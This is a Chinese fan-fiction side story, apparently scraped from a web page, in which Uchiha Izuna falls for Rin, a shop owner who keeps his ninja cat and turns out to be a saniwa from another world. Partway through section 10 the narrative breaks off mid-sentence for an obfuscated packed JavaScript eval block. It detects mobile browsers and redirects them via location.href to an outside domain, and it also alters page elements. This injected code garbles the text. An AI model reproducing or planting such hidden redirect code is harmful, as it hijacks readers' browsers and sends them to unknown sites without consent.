但那些问题在舌尖滚过一圈后,我冲过去抱住他:“好久不见,泉奈。” 这真是最好的新年礼物了。 10. 番外.忍者之外[番外] 1. 总和他搭档的忍猫最近行踪古怪。 忍者——或只是他——和忍猫的关系向来不是很亲近,泉奈一开始也没有太在意。 直到有一天,来找他商讨任务的火核临走时看见了那只猫,突然冒出了一句:“这猫是不是胖了点?” “……” 被冒犯到的忍猫竟然没有立刻报复回去,而是有点心虚地缩了缩脖子。 “是吗?”他不太在意一只忍猫的想法。 发现这只猫在外面找了主人是在这件事后的不久。 那天他和町中的暗探交换完情报,这只蠢猫后脚就冲了进来,看见他后愣了一下,又一个转向想要跑开。 “你在这里做什么?”泉奈问他。 忍猫僵住,尾巴半翘着一动不动,转头勉强冲他喵了几声,说自己在这附近觅食。 泉奈看出这猫急着想走,故意拖着他,而后在察觉到这条暗巷有其他人踏入时,眯起眼看着忍猫。 一些阴谋论在心底划过。 这猫此刻却不急着走了,跑到他边上,讨好地蹭蹭他,反而催着他回宇智波。 但见他纹丝不动,忍猫最后放弃挣扎,缩成一团趴在地上,似乎想要逃避即将到来的现实。 泉奈也因此看见了走进来的那个人。 微弱的光线投落在杂乱的暗巷当中,穿着与常人无异的年轻女性姿态防备,小心翼翼地观察着周围往巷子尽头移动着,被袖口掩住的大半只手似乎捏着什么——起爆符? 不是忍者,但有训练过的痕迹。 对方的注意力落到他脚边的忍猫上。 “南泉?” 泉奈听见对方唤道。 而忍猫竟然轻轻地回应了——这猫在人类世界里并没有名字。 女人听见忍猫的回应后,微不可查地松了口气,而后看向他,说那是她的猫。 荒谬感瞬间充满了泉奈的思维。 忍猫一族向来高傲,即便和宇智波有着契约,但脾气也不好,很少会心甘情愿将忍者当作主人。 因此他也并不依赖忍猫,只将他们当作能够通过交易驱使的通灵兽看待。 “你的猫?”他问。 事情荒谬到让泉奈想要笑出声来。 傲慢的忍兽竟然认了个普通人当宠物,他俯身拎起忍猫,打量他哪里出了问题。 还有“南泉”这个名字,这只就算在斑哥面前偶尔也要犯浑的猫竟然认下了这个不知所谓的名字。 他语气讥诮地嘲讽着这只忍猫,又听面前的人很是为难地问他这是不是他的猫。 理论上来说,应该是的。 毕竟他们有契约。 更何况稳定与宇智波合作的忍兽认了他人当主人,出于安全考虑,他也应当把这个不稳定的因素扼杀在未萌芽之时。 忍猫在他怀中发着抖,轻轻蹭他,他知道忍猫是在替对方求情。 泉奈刚要回答,抬眼便看清了对方的脸。 确切的说,应该是神情。 毕竟有着写轮眼,当初对方还没发现他时,他便在一旁把对方的底细看得一清二楚了。 只是在看到对方眼神不住往他怀里瞟、清透的黑色眸子写满了失落时,泉奈说出口的答案便变成了“不算”。 ——话又说回来,只是通灵契约,算不得主人。 只是在这话刚说出口后,泉奈便觉得不妥。 毕竟是族中的忍兽。 ——接过猫的女孩子眼睛瞬间亮了起来,紧紧抱着怀中的猫。 泉奈微微抿唇,随口打发了对方的问题,匆匆往外走。 再不走,他可能就要改变主意了。 不过是个普通人罢了。 这只忍猫也闯不出什么祸。 2. 撞破了忍猫的秘密后,这只猫在后续的合作中颇为主动。 也不知道是件好事还是坏事。 但冷静之后,泉奈也开始后悔,自己竟然真的就这么放过了可能威胁到族中安全的因素。 再不济,也有很多种方法控制对方。 怀着这样的想法,在出完任务和同伴回程的时候,他主动到了对方开的店里。 在此之前他已经调查过对方了,几年前搬到附近城町的独身女性,会些身手,打发过地痞无赖,和奉行所与邻居的关系都很好,谈吐和脾气都挑不出错,开了一家亏本的店,不怎么用心经营,也不愁吃穿,应该只是为了打发时间。 活动范围只在城町附近,对其他地方的信息都不太了解,根据情报所推测出的信息,大概率是离家出走,走到这里觉得合适就定居了。 族人不知道他的打算,还奇怪为什么要选这么一家冷清的、不知道卖什么的店,落座后也兴致勃勃地问起对方。 泉奈虽然也早有准备,但看见菜单上那些花里胡哨的名字后也有些沉默,等着对方解释。 于是他便看着女孩子垂眸看着菜单,似乎在思考怎么解释,神情极为认真——“甜的奶,甜的茶,甜的果茶”。 泉奈听见对方语气中微弱的无奈。 族人觉得有趣,直接笑了出来,他也觉得好笑,明明是自家店的东西,怎么会连介绍都介绍不出个所以然来。 果然是开店打发时间的。 而这人似乎也觉得这样介绍有些不妥,直接问他的需求和忌口。 忌口——这和直接问他弱点有什么区别——随后泉奈又意识到对方只是个普通人,是自己反应过激了——于是他直接选了最省事的方式,选对方自己正在喝的。 3. 对方回去准备奶茶时,泉奈也在想怎么进入正题。 既然事情的起因是那只猫,那就先说那只猫好了。 这么想着的同时,对方的反应却有些出乎他的意料,说他是好心人。 泉奈倏地睁大眼,惊讶地看着对方,就是和他一起来的族人实在吵闹得厉害,他都有点后悔带着族人一起来了。 她还在问他忍猫平时的习惯,忧心极了,像是完全将他当作了同样养猫的人。 只是猫的问题根本和她无关,都是那只猫的错。 他也和对方聊起了猫,一时间竟然忘记了自己原本的目的。 这么互相聊天的感觉……倒也不错。 只可惜那只猫竟然这时候回来了。 他来之前明明让他去给斑哥送信了,速度这么快吗? 之后的事态完全向着泉奈所未预料的方向发展,被拉着去追猫,又心烦意乱地看着她低声下气和那只猫道歉,还被问起自己给猫取了什么名。 他为什么要给一只忍猫取名? 她为什么还要因为这件事去安慰那只猫?! 猫难道不是他帮忙抓回来的吗? 她听不懂猫的意思不也是他帮忙传达的吗? ……结果“牛奶”这个名字也不怎么样啊。 以后叫这只猫牛奶似乎也不错。 这之后他们一起回店里,对方手上那点抓痕上冒出的血珠看着着实碍眼,都这样了还小心翼翼地抱着猫,回了店也不着急处理伤口,还要去给他调奶茶。 到底是她人重要些还是喝的重要? 泉奈简直无奈地想要叹气,叫住对方,取了药给对方上药。 忍猫在这,一开始目的自然也作罢,只是时机不对罢了。 回族里的路上,族人问他那家店的老板和他什么关系。 哪里有什么关系,他只是想要弥补之前的失误而已。 “没什么关系。”他冷着语气说道。 “……”族人微妙地沉默了一下,“那泉奈大人您的猫?” “你又不是不是没找过他,怎么就是我的猫了?”他反问。 族人:“……” “那上药……?”族人又问。 “那只忍猫抓伤的,我不该处理吗?”他被问得心烦意乱。 族人哈哈了两声,讪讪不说话了。 4. 忍猫新主人的事不解决,终究是心腹大患。 于是泉奈又挑了个日子,去拜访对方,可惜这天忍猫又在。 一人一猫一个在树下一个在树上对峙着。 他被喊去帮忙守着,看着对方匆匆跑开。 “所以……你们在干什么?”等到对方离开,他问忍猫。 忍猫不甘心地下来:“她对我动手动脚,肯定不怀好意。” 泉奈讥讽地笑了一声。 忍猫立刻要炸毛,他一把把猫塞怀里按住,警告道:“安分点,她回来了。” 慢条斯理地和对方解释清楚,泉奈想着今天既然忍猫在,那就喝点东西就回去吧,猝不及防之下,竟然被对方抓住了手。 这不是第一次触碰对方的手。 泉奈微微垂着头,看着对方低着头时露出的发顶,突然有些失语。 柔软温暖的触感落在自己的手上,对方翻看着自己的手,着急地问着自己有没有受伤。 很奇怪的感觉,他居然会被这么没有防备地捉住手,他还想直接叫停对方,想和对方说“够了,林铃,别看了”这样竟然类似于祈求的话。 最后他找回了自己的控制力,将手抽了回去,第一次如此词穷,只回了个没事。 这之后他们又聊了会儿天,上次那种在聊天时逐渐安稳下来的感觉又来了,这一次他记得问了对方的名字,以免下一次想叫对方名字都找不到理由。 离开时他想,他大概是喜欢和铃相处的。 ……既然这样,对方也只是个普通人,和千手柱间那种处心积虑欺骗斑哥的人不一样……她只是刚好养了只忍猫罢了。 大不了他多盯着些。 5. 再一次见面,泉奈刚解决了一个敌人。 牛奶那只猫急着回去,他看着心烦,就问他主人最近怎么样。 “我才不是会随意出卖主人的猫。”牛奶说。 他定定地盯着说铃是主人的猫,心想这忍猫也算是废了,居然就这么承认了自己有主人。 他拿以前当任务报酬的鱼干逗猫,这猫忍不住上前嗅,自以为灵巧地夺过鱼干开始啃,看得他一阵发笑。 牛奶边啃鱼干边说自己今天是当着铃面前跑出来的,铃说他重了。 确实重了。 火核先前就在说这事。 这段时间过后,牛奶体型又胖了一圈。 “是毛!我只是毛长长了!”牛奶反驳。 这话拿去骗千手千手都不会信,说得好像他没上过手一样。 再然后,铃出现了。 他想起刚才猫说的内容,问她:“来找猫?” 之前发生的被看见了? 只是巧合? 结果确实是巧合。 他看着那只碍眼的猫舔着铃的手指,分外不满,活像没吃过鱼干的猫一样,他以前难道缺过他鱼干了吗? 铃还安慰他,不知道这猫有多狡猾可恶。 他们一起下山的时候,铃问他是不是喜欢那只猫。 怎么可能。 他问铃为什么这么说,铃给出的答案无法反驳。 他抱着忍猫,又听铃说随时能去找她看猫。 而这猫在偷偷撕他袖子。 ……但是,倒也不错。 也不是不喜欢猫。 不然他为什么随身带猫吃的鱼干,还抱着这猫没让他摔下去? 6. 跟着铃做逗猫棒的时候,泉奈是不太满的。 分明是牛奶那只猫故意扑断了逗猫棒,铃却放着他不管转头做起了猫玩具。 说到底忍猫也不需要这东西吧? 平日里做任务时这猫没少发挥自己捕猎的天性,还缺得了这点玩乐? 只是这猫也实在有趣,装睡竟然也能睡着,他没忍住笑了出来。 铃问他笑什么,而后也忍不住笑。 今天是雨天,空气中都湿漉漉的,水雾攀附在皮肤上令人不适。 他从水之国的边境回来,本来是很累的。 但是和铃坐在一起后却不觉得累了,此刻看见她笑出来时,甚至那点湿气萦绕的不适感都消失了。 “……”又来了,每次看到对方笑,都会移不开眼睛,就像是中了幻术一样,忘却自身所觉察的不适。 简直危险到了极点。 但铃只是个普通人。 临走的时候,雨还没停,但小了很多。 他还想再留一会儿,但身体本能在警告他让他赶紧离开,而且一开始的理由就是避雨,他没理由一直待下去。 踌躇着离开时,他转头想和铃说说话。 “对了,”他说,直到这时候,想问的话才出现在脑中,“铃,你喜欢花吗?” 他问。 这是什么蠢问题,如果铃说不喜欢怎么办? “还好,怎么了?”铃有些意外。 接下来的话顺理成章,给出一个理由,将花送给对方。 至于理由是不是真的——谁会在意呢? 只是牛奶这只猫着实可恶,三番五次想要对他送的花下手。 铃也实在心软,这种闯祸的猫,应该好好教训才是。 7. 这天他做完任务回程,路过铃常去的那家神社,心中一动,便也去了。 连自己也说不出为什么会去。 铃和她的朋友刚好在一起。 他犹豫了片刻,还是打算离开,不打算窥探铃的隐私,却又听见铃的朋友问她要不要试试跳舞。 跳着神乐舞的铃和平日她完全不一样,也和他过去看过的神乐舞完全不一样,更不是她的朋友刚才所跳的神乐舞。 绝不是刚学的神乐舞。 手执花枝的她明明并没有穿着正式服装,神情却庄重肃穆,动作更是行云流水,好似真的在向着不知名的神明献舞。 恍惚间耳边似有铃声响起,可铃手中并没有拿神乐铃。 神乐舞,娱乐神明的舞蹈,属于神明的舞蹈。 铃的动作很熟练,一看就知道跳过无数次,绝非半路出家。 “……”泉奈藏在暗处,闭上了眼睛。 早已刻意忘掉的细节突然浮现在脑中。 ——初见时对方手中藏着的类似符咒的东西。 为了防身的话,带着武器明显更有震慑力,为什么会选择纸? 除非她拿的东西真的能保护她。 “以前学的。”他听见铃对她的朋友说。 铃的来历很可疑,他一直在忽视这一点。 但现在,他忽视不了。 8. 事实上,即便来历可疑,但铃一直住在城町里,来历对他而言并不重要。 更何况还有牛奶在她身边。 只要不对宇智波有威胁,事情并不是很严重。 祭典前几天,他见到铃时,铃顺口提了一句,问他要不要来。 那天他有任务:“可能会回来吧,这几天要出趟远门。” “这样啊,有些可惜。”铃说。 他有些在意:“可惜什么?” “嗯?”铃抬眼瞧他,理所当然般,“你可能没办法看到嘛,这个祭典还挺热闹的,你不是今年才搬过来吗,本来能看看的。” “这样啊,”泉奈不知道自己在失望什么,“也可能能赶回来,到时候给你带礼物。” “礼物?”铃眨眨眼睛,眼睛里全是笑意,嘴上还推拒着,“这不好吧,还特意带礼物给我……” “那我就不带了。” “等等等等,这时候你该坚持送才对!”铃打断他。 他没忍住笑出了声。 可是当天回来时,却被撞见了最糟糕的场景。 他在铃的面前杀了人。 9. 侍奉神明出身的铃对杀戮是什么态度? 泉奈没想过这个问题。 他是忍者,但他不会把这件事告诉铃,铃也不需要知道他究竟是个什么样的人。 但就刚好在这一天。 祭祀神明的祭典,侍奉神明出身的铃,还有杀掉敌人的他。 简直就像神明开的玩笑,故意挑在今天……夺走铃。 “你没有想要问的吗?”他问。 谁知道铃却问了个完全不相关的问题。 牛奶到底是不是他的猫。 这个问题出现在这里的离谱程度相当于他回家后他哥和他说“泉奈,我把千手柱间的头砍下来祭奠族人们了”。 铃好像总是问出一些奇怪的问题。 就好像她第一次出现在他面前时,奇怪的人成为了他忍猫的主人,整件事到处都透着奇怪。 “我是忍者。”泉奈挑明了事实。 ——我是忍者,那你呢? ——询问更多的信息,了解真实的我。 可铃的问题还是那样。 她问她的猫,问他有没有受伤,就好像他们还在那天的树下,他抱着猫,铃担心他被猫撞伤。 怎么会有这样的人? 怎么能有这样的人! 真是一场十足的闹剧,他一开始就不应该接触铃才对。 想要把对方拖入自己的世界,强迫对方了解自己,实在是…… 他将之前准备好的礼物塞给铃,杀人之人的礼物想必对方不会在意,就像他过去送的花会被牛奶那只猫扑腾—— “泉奈,你是不是喜欢我?” 他突然听见铃问。 ——怎么可能?! 这是他的第一反应。 而后他听见了铃的告白。 有那么一瞬间,他愣住了。 铃是个普通人,还是个族外人。 他不应该喜欢铃才是。 但是否决的话根本说不出来。 他喜欢铃? 怎么可能。 ……但是铃喜欢他。 泉奈想起跳着神乐舞的铃,突然明白了自己那时候的心情。 ——是嫉妒。 那是献给神明的舞。 但是凭什么。 凭什么神明可以什么都不做就获得铃的舞蹈,获得铃的目光,获得铃的注意。 他连那只猫分走铃的注意都难以忍受。 铃只要看着他就好了,只要和他聊天就好了,只要注意他就好了。 ……原来他喜欢铃啊。 “……这可是你说的。”不能再反悔了。 神明又怎么样,忍者本来就是以掠夺为生的生物。 所以,抢走侍奉神明的人,也是理所当然的吧。 10. 哥哥发现这件事是肯定的,只是泉奈没想到会这么快。 斑哥见过铃后,他回家去见了斑哥,提起这件事。 “我的看法?”斑哥看着他,语气玩味,“你连我都瞒着,我能有什么看法。” 斑脸上的笑容淡了些:“我只是没想到,你会喜欢上一个族外人。” “……铃对族里没有威胁,她和千手那些忍族也没有关系。” 泉奈解释道。 泉奈脸上的表情有些尴尬,可并不心虚。 毕竟当年千手柱间真的是千手一族的忍者,他发现哥哥在和对方做朋友当然要上报。 事实证明他的做法没错,因为千手柱间带着他爸他弟去围剿斑哥了,如果他没那么做,斑哥恐怕早就出了意外。 铃和忍者完全没有关系,他怎么不能喜欢铃? 见他这副样子,斑让泉奈离开:“行了,下次有什么事直接告诉我,别等到我找上门才知道承认。” 过了哥哥这关,泉奈松了口气,以为和铃的恋情不再有其他可能的阻碍。 事情很快出现转折。 一开始的时候,是牛奶的态度有些奇怪。 但这只忍猫向来不正常,连给自己找个主人的事都做得出来,做出其他什么事也是正常的。 而后是他在铃家里明明听见了不对劲的声音,追过去却发现什么都没有。 在替铃收刀的时候,铃也很抗拒地推开他。 “……”哪里都不正常。 但泉奈没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749034|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追问下去。 铃想说的话,终究会告诉他的,不想说的难道问了就能得到答案吗。 只是这次分别后,他也无暇顾及铃这边的问题了,他被千手扉间的新术所伤。 于是过去曾一直被他和斑哥避而不谈的问题终于带到了明面上来。 一定要保一双眼睛,那一定是保斑哥的眼睛。 他把眼睛换给了斑哥,意识模糊间他抓住了斑哥的手。 族里的事他已经交代过了。 眼睛的事也不需要担心了。 那么,还有最后一件事…… “斑哥,铃……”他却不知道该说什么。 他想见铃,想听铃的声音,想铃握着他的手,和以前一样问他:“你受伤了吗?” 然后他再告诉铃没有。 可现在的他太狼狈了,弱者狼狈而丑陋,还会使人心生同情。 他不需要这些,也不想铃露出难过的表情。 他想起有天下午,阳光恰巧是很漂亮的金色,照在铃的脸上,很漂亮,铃却浑然不知,眨动着双眼问他在看什么。 他不好意思说自己觉得铃在自己的眼里像发着光一样好看,就说只是在看她喝奶茶。 铃听了后歪了歪脑袋,很是奇怪地看他一眼,大方地把杯子递给他:“要尝尝我这杯的味道吗?” 他的恋人总是抓错重点,但他就是很喜欢这样的恋人。 他不想死。 临到死亡的前一刻,和铃有关的记忆全都涌了上来。 他以为自己已经做好了准备,将什么都安排好了,却发现自己还在不舍。 斑哥强忍着悲伤在他耳边问他想说什么。 “你想告诉铃什么?” 泉奈说不出来。 他有太多想说的了,反而又不敢说,害怕他的话都会成为牵绊对方的东西。 他不想把铃拉进忍者的世界,铃只是个普通人,就让铃以为宇智波泉奈是个离开之后一去不回的人好了。 就在真的要死亡的那一刻,一股极为温暖的气息突然笼罩住了他。 他似乎又听见了神乐铃的声音。 一声又一声,肃穆庄严。 温柔却强横的力量转瞬冲刷过身体,失去眼睛的眼眶再一次被剧痛侵扰,他甚至听见了眼球生长肌肉裂开的声音,身上的伤也在眨眼间复原。 泉奈看见了不属于自己的记忆。 那是一座自己从未见过的城,高大的樱花树上开满了樱花。 年少的铃扎了两个俏皮的丸子头,穿着二尺袖倚靠着樱树闭眼而坐,膝间反扣着一本看不清书名的书。 她的手放在胸口,握着一枚御守,一只白底金毛的狐狸趴在铃身边,口吐人言:“审神者大人,对御守灌注灵力的效率很低,做好一个御守可能要一年,直接前往万屋购买会更方便。” “……这么久吗?那只能去买了,”少年时期的铃睁开眼睛,可惜地看了眼手里的御守,让狐狸走近了些,把御守挂在狐狸的脖子上,拍拍狐狸脑袋,“那这个就放在狐之助这里了,记得要每天提醒我输入灵力。” 狐狸结结巴巴地问:“这、只是送给狐之助的御守吗?” “嗯,狐之助也很辛苦嘛,大家有的东西狐之助也要有,不过可能需要花费很长的时间,就让买回来的御守先保护大家吧。” “没问题的!”狐狸扑到铃的怀里,哭唧唧地说道。 …… 泉奈突然醒了过来。 眼前的事物清晰可见,他的眼睛好端端地待在眼眶当中。 只是写轮眼无法使用了,就像是还未开眼时一样。 眼睛重新生长的疼痛不似作伪,泉奈不确定间想起梦中的事,连忙去找铃送的御守,却怎么也找不到。 族里的医生后来也来看他,说他身体的变化没有异常。 泉奈渐渐明白他能活下来是因为什么了。 铃送的御守救了他。 11. 又过了几天,斑哥带着千手的盟书找他,问他的意见。 这次他没有立刻反对,而是问斑哥怎么想。 斑哥没说话。 泉奈看着千手停战书上的内容,想了很多。 脑中一会儿是死去的父兄族人的脸,一会儿是在南贺川边上开眼的哥哥。 而后他又想起铃曾担心地问他忍者安不安全。 “……我不反对。”最后他说。 他不想以斑哥的想法为借口,生死之间的体验实在无法描述,正因为还活着,他突然就有些明白了斑哥的想法。 想要保护自己在意的人,想要和自己在意的人平安地生活在一起……如果没有铃,他或许会一直觉得自己在战场上奋战到死就是最好的结局。 之后就是结盟的一系列事宜,等到他从这些冗杂的事务中脱身、去找铃的时候,泉奈远远听见铃在店内的声音。 “南泉,那是牛奶的窝,你不要碰,他回来又要和你闹。”铃说。 ……南泉? 那把刀? 泉奈皱眉。 “那只猫好久没回了喵,等他回来早就没味道了。”另一个声音回答道。 …… 回想起御守和梦中看到的事,刀会说话似乎也不是奇怪的事。 泉奈推门而入。 铃从柜台抬眼看过来,见到他的瞬间有些怔愣。 店内还有两个人,一个是金发男人,还有一个黑发少年。 他们身上佩带着的刀很眼熟,是之前铃不许他碰的刀。 “……”啊,他似乎明白了。 “泉奈,”铃看着他,“你回来了。” 他轻轻点头回应,没问那两个人是怎么回事,走到恋人近前:“这些天还好吗?” 铃的神情有些闪躲,还是点头。 然后她想起什么似的,给他介绍另外两个人。 一个叫南泉,一个叫药研。 铃似乎早已忘记当初他也听过她和牛奶解释名字的事了。 “这样啊。”他说,没有追问下去,却隐约明白了铃不安的态度背后的意思。 他耐心地等待铃想要说的话,对方却问他怎么不态度强硬一些。 这样的问题他过去也有。 他希望铃质问他的身份,希望铃能发现异常,而后他就能够顺理成章地将铃拉入自己的世界,但铃只是一次次地问那些似乎不怎么重要的问题。 事实上,答案真的很简单。 ……因为他喜欢铃。 比起那些问题,她本身更为重要。 教会他这样做的是铃,对待恋人的态度,怎么可能舍得强硬。 即便铃要离开,他也没办法阻止她。 明明忍者有无数种方法来达成自己的目的。 黑绝事件之后,铃的来历终究被提到了明面上,他也终究要面对铃的离开。 12. 铃不止一次问过他放弃做忍者的事。 可哪里有那么容易。 他生来就是忍者,背负着一族的命运,不做忍者又能做什么。 铃离开后不久,哥哥在某天叫住了他。 “泉奈,”斑哥叫住他,“你最近绷得太紧了。” “……” “铃什么时候回来?”哥哥又问。 泉奈突然不知道该说什么,很久后才道:“……她不会回来了。” 斑有些意外,沉默了一会儿,才道:“啊,这样啊。” “她回家去了。”他望着哥哥,不知道该怎么诉说自己心中的感觉,只能不断重复这个事实。 铃的家乡在哪里,铃以前过着什么样的生活,铃有这什么样的社交圈,他都不知道,也没有办法知道。 “那么,要不要休息一段时间。”斑哥问他。 “可是木叶——” “木叶有很多人,泉奈。”斑说。 只是这一句,泉奈突然愣住了。 木叶有很多人。 是啊,宇智波泉奈只是木叶中的一个人,并不是什么不可或缺的存在。 没有宇智波泉奈,木叶不会因此停摆,宇智波也不会因此衰亡。 他的眼睛获得了新生,他也不再是以前需要用万花筒来抵御势均力敌的敌人的忍者。 斑叹了口气,对他说:“泉奈,过来。” 他愣愣地走向斑哥,而后哥哥伸手擦掉他脸上的液体——他竟然落泪了。 “你想做什么,泉奈?”斑哥问他。 泉奈抬手擦掉脸上的泪水:“我……我想去找铃。” 可是该去哪里找铃呢? 他们甚至不在同一个世界。 “那就去吧。”斑对他说。 “但是——” “我希望我的弟弟,能够自由地选择自己的生活,这也是我和柱间一开始想要结盟时的想法,”斑说,“这些年,你付出的够多了,泉奈。” 离开木叶的时候,千手扉间竟然也来送行。 “别误会,我只是来看看往日对手的狼狈模样。”扉间双手抱胸,语气冷静。 斑看了他一眼,转头对柱间说:“把你弟带走,不然我就动手了。” 千手柱间垂头丧气:“扉间?…少说两句。” 泉奈看了过去的对手一眼,而后和斑哥告别。 “喂,泉奈,”临走时,扉间又叫住他,“就算找不到人,宇智波也是木叶的一份子。” “不需要你提醒,千手扉间,”他抬了抬斗篷兜帽的边缘,“别想着趁我不在在暗地里搞小动作,千手扉间。” 他们互相呛了两句,泉奈走向远离木叶的那条路,听见身后千手柱间奇怪地问千手扉间:“扉间,怎么感觉你们这次不像以前吵架那样……” “大哥,想不通就别想了。”扉间说。 “喂!” 天气晴朗,万里无云,路边的野花随风轻轻摇曳。 泉奈抬头望向天空,阳光耀目。 宇智波泉奈不做忍者的话,还能做什么呢? 做宇智波泉奈。